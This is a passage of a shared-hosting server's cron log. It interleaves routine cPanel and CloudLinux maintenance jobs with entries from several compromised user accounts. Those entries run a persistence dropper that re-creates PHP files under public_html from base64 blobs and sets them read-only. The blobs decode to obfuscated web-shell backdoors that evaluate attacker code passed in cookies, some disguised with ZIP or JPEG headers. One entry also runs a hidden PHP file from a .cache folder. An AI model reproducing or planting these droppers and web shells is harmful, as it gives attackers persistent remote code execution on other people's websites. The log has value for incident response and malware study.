FsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:09:01 medusa CROND[22518]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:10:01 medusa CROND[24708]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 06:10:01 medusa CROND[24710]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 06:10:01 medusa CROND[24715]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 06:10:01 medusa CROND[24721]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 06:10:02 medusa CROND[24727]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 06:10:02 medusa CROND[24729]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:10:02 medusa CROND[24730]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 06:10:02 medusa CROND[24732]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 06:10:02 medusa CROND[24731]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 06:10:02 medusa CROND[24728]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 06:10:02 medusa CROND[24737]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:10:02 medusa CROND[24735]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:10:02 medusa CROND[24733]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 06:10:02 medusa CROND[24738]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 06:10:02 medusa CROND[24736]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 06:10:02 medusa CROND[24746]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:10:02 medusa CROND[24740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:10:02 medusa CROND[24739]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 06:10:02 medusa CROND[24756]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:10:02 medusa CROND[24757]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:10:02 medusa CROND[24759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:10:02 medusa CROND[24763]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:10:02 medusa CROND[24766]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:10:02 medusa CROND[24767]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:10:02 medusa CROND[24768]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 06:10:02 medusa CROND[24769]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:10:02 medusa CROND[24761]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 06:10:02 medusa CROND[24754]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 06:11:02 medusa CROND[26821]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:11:02 medusa CROND[26820]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 06:11:02 medusa CROND[26822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:11:02 medusa CROND[26823]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:11:02 medusa CROND[26824]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 06:11:02 medusa CROND[26826]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:11:02 medusa CROND[26825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:11:02 medusa CROND[26830]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:11:02 medusa CROND[26833]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:11:02 medusa CROND[26834]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:11:02 medusa CROND[26836]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:11:02 medusa CROND[26837]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:11:02 medusa CROND[26852]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAo